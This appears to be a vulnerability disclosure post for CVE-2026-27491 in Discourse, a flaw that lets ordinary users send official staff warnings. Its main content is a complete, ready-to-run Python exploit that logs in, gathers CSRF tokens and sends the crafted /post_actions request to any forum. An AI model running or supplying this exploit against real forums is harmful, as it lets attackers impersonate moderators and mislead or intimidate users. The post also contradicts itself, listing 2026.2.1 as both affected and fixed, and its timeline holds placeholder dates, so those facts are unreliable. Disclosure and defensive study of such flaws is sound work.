Discourse Authenticated Authorization Bypass – Issue Official Warnings as Non-Staff (CVE-2026-27491)

Discourse Authenticated Authorization Bypass – Issue Official Warnings as Non-Staff (CVE-2026-27491)

⚠ CVE CVE-2026-27491 Affects: https://github.com/discourse/discourse
Ethical Use Notice [click to collapse]

This post contains technical details about security vulnerabilities and exploit development for educational and research purposes only. All techniques described are intended for use in authorized penetration testing, CTF competitions, or controlled lab environments.

Unauthorized use of these techniques against systems you do not own or have explicit written permission to test is illegal and unethical. Always obtain proper authorization before testing.

Disclosure status: Full Disclosure

CVE references link to public NVD / vendor advisories. Proof-of-concept code, where included, is provided after patch availability for defensive research purposes.

Proof of Concept available — Full exploit code on GitHub. Use in authorized environments only.
▷ View PoC on GitHub

Content *

Overview

A vulnerability tracked as CVE-2026-27491 affects Discourse versions up to 2026.2.1.

The issue stems from improper authorization checks combined with type coercion in the post_actions endpoint. This allows non-staff authenticated users to perform privileged moderation actions.

Specifically, attackers can send official staff warnings to other users without having moderator or admin privileges.


Affected Software

Vendor: Discourse Project

Affected versions:

  • Discourse ≤ 2026.2.1
  • Also affects earlier unpatched versions in:

  • 2026.x branch

  • 3.2.x branch

Fixed in:

  • 2026.1.2
  • 2026.2.1
  • 2026.3.0-latest.1

Technical Details

The vulnerability exists in the endpoint:

/post_actions

The parameter:

"is_warning": "true"

is improperly handled due to type coercion, allowing a string value ("true") to bypass authorization checks intended for staff-only functionality.

Key issue:

  • Backend expects a boolean
  • String "true" is accepted and evaluated as truthy
  • Authorization validation is bypassed

Attack Requirements

To exploit this vulnerability, an attacker needs:

  • A valid non-staff account
  • Any visible post_id
  • Target user_id

No elevated privileges are required beyond authentication.


Proof of Concept (PoC)

The exploit performs:

  1. Authentication using valid credentials
  2. CSRF token retrieval
  3. Sending crafted request to /post_actions
#!/usr/bin/env python3
# Exploit Title: Discourse <= 2026.2.1 Authenticated Missing Authorization (Official Warnings Bypass)
# CVE:             CVE-2026-27491
# Date:            2026-03-21
# Exploit Author:  Mohammed Idrees Banyamer
# Author Country:  Jordan
# Instagram:       @banyamer_security
# Author GitHub:   https://github.com/mbanyamer
# Vendor Homepage: https://www.discourse.org
# Software Link:   https://github.com/discourse/discourse
# Affected:        Discourse <= 2026.2.1 (and earlier unpatched releases in 2026.x / 3.2.x branches)
# Tested on:       Discourse 3.2.x (pre-patch)
# Category:        Webapps
# Platform:        Ruby on Rails
# Exploit Type:    Remote Authorization Bypass
# CVSS:            6.5 (Medium) – AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
# CWE:             CWE-862
# Description:     Authenticated non-staff users can issue official staff warnings to other users
#                  by abusing type coercion in the post_actions endpoint (notify_user action).
# Fixed in:        2026.1.2, 2026.2.1, 2026.3.0-latest.1
# Usage:
#   python3 exploit.py <target_url> --username <user> --password <pass> --target-user-id <id> --post-id <post_id>
#
# Examples:
#   python3 exploit.py https://forum.example.com --username regular --password pass123 \
#       --target-user-id 456 --post-id 7890
#

print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║                                                                                            ║
║       ▄▄▄▄·  ▄▄▄ . ▄▄ • ▄▄▄▄▄      ▄▄▄   ▄▄▄·  ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄  ▄• ▄▌                  ║
║       ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██  ▪     ▀▄ █·▐█ ▀█ ▐█ ▄█•██  ▀▀▄.▀·▀▄ █·█▪██▌                  ║
║       ▐█▀▀█▄▐▀▀▪▄▄█ ▀█  ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█  ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█·                  ║
║       ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌                  ║
║       ·▀▀▀▀  ▀▀▀ ·▀▀▀▀  ▀▀▀  ▀█▄▀▪.▀  ▀ ▀  ▀ .▀    ▀▀▀  ▀▀▀ .▀  ▀ ▀▀▀                   ║
║                                                                                            ║
║                          b a n y a m e r _ s e c u r i t y                             ║
║                                                                                            ║
║                     >>> Silent Hunter • Shadow Presence <<<                               ║
║                                                                                            ║
║           Operator : Mohammed Idrees Banyamer                Jordan 🇯🇴                 ║
║                  Handle   : @banyamer_security                                             ║
║                                                                                            ║
║                   CVE-2026-27491 • Discourse → Issue Official Warnings as Non-Staff       ║
║                                                                                            ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")

import argparse
import requests
import sys
from urllib.parse import urljoin

def get_csrf(session, base_url):
    r = session.get(urljoin(base_url, "/session/csrf"))
    if r.status_code != 200:
        print("[-] Failed to fetch CSRF token")
        sys.exit(1)
    data = r.json()
    csrf = data.get("csrf")
    if not csrf:
        print("[-] CSRF token not found")
        sys.exit(1)
    return csrf

def login(session, base_url, username, password):
    csrf = get_csrf(session, base_url)
    login_url = urljoin(base_url, "/session")
    payload = {
        "login": username,
        "password": password,
        "second_factor_method": 1,
        "value": "",
        "use_another_method": False,
        "remember_me": False,
        "csrf": csrf
    }
    r = session.post(login_url, json=payload)
    if r.status_code != 200 or not r.json().get("success"):
        print("[-] Login failed - check credentials")
        sys.exit(1)
    print("[+] Login successful")
    return get_csrf(session, base_url)  # refresh csrf after login

def issue_warning(session, base_url, post_id, target_user_id, message):
    csrf = get_csrf(session, base_url)
    url = urljoin(base_url, "/post_actions")
    payload = {
        "id": post_id,
        "post_action_type_id": 4,           # notify_user
        "message": message,
        "is_warning": "true",               # string that triggered the bypass
        "username": f"user_{target_user_id}",
        "take_action": True,
        "csrf": csrf
    }
    headers = {
        "X-CSRF-Token": csrf,
        "Accept": "application/json, */*",
        "Content-Type": "application/json"
    }
    r = session.post(url, json=payload, headers=headers)
    if r.status_code == 200 and "success" in r.text.lower():
        print("[+] SUCCESS: Official warning sent!")
        print(f"    → Target user ID: {target_user_id}")
        print(f"    → Message: {message}")
        print("    → Should now appear in target user's inbox as staff warning")
    else:
        print(f"[-] Failed ({r.status_code})")
        try:
            print(r.json())
        except:
            print(r.text[:400])

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-27491 PoC - Discourse non-staff official warning bypass"
    )
    parser.add_argument("target", help="Target Discourse URL (e.g. https://forum.example.com)")
    parser.add_argument("--username", required=True, help="Non-staff username")
    parser.add_argument("--password", required=True, help="Password")
    parser.add_argument("--target-user-id", type=int, required=True, help="User ID to send warning to")
    parser.add_argument("--post-id", type=int, required=True, help="Any post ID visible to the account")
    parser.add_argument("--message", default="This is an unauthorized official warning test", help="Warning text")

    args = parser.parse_args()

    s = requests.Session()
    s.headers.update({"User-Agent": "Mozilla/5.0 (PoC)"})

    print(f"[*] Target: {args.target}")
    login(s, args.target, args.username, args.password)

    print(f"[*] Attempting to issue warning to user ID {args.target_user_id} via post {args.post_id}")
    issue_warning(s, args.target, args.post_id, args.target_user_id, args.message)

if __name__ == "__main__":
    main()

How the Exploit Works

Attack flow:

  1. Attacker logs into the forum as a regular user
  2. Retrieves CSRF token
  3. Sends a POST request with:

  4. post_action_type_id = 4 (notify_user)

  5. is_warning = "true" (string, not boolean)
  6. Backend misinterprets the value
  7. System processes the request as a staff-issued warning

Impact

Successful exploitation allows attackers to:

  • Send fake official staff warnings
  • Abuse moderation features
  • Mislead or intimidate users
  • Damage trust in forum moderation system

Impact summary:

  • Integrity: High
  • Confidentiality: None
  • Availability: None

CVSS Score: 6.5 (Medium)


Mitigation

Recommended actions:

  • Upgrade to patched versions immediately
  • Enforce strict type validation for all user input
  • Implement proper authorization checks server-side
  • Audit all endpoints handling moderation actions

Disclosure Timeline

  • 2026-03-21 — Vulnerability discovered
  • 2026-03-21 — PoC developed
  • 2026-03-XX — Vendor patch released
  • 2026-03-XX — Public disclosure

Researcher

Security research conducted by:

Mohammed Idrees Banyamer
Cybersecurity Researcher – Jordan 🇯🇴

GitHub: https://github.com/mbanyamer
Instagram: @banyamer_security

Disclosure: Full Disclosure

Comments

No comments yet. Be the first.

Leave a Comment

Comments are moderated and will appear after approval.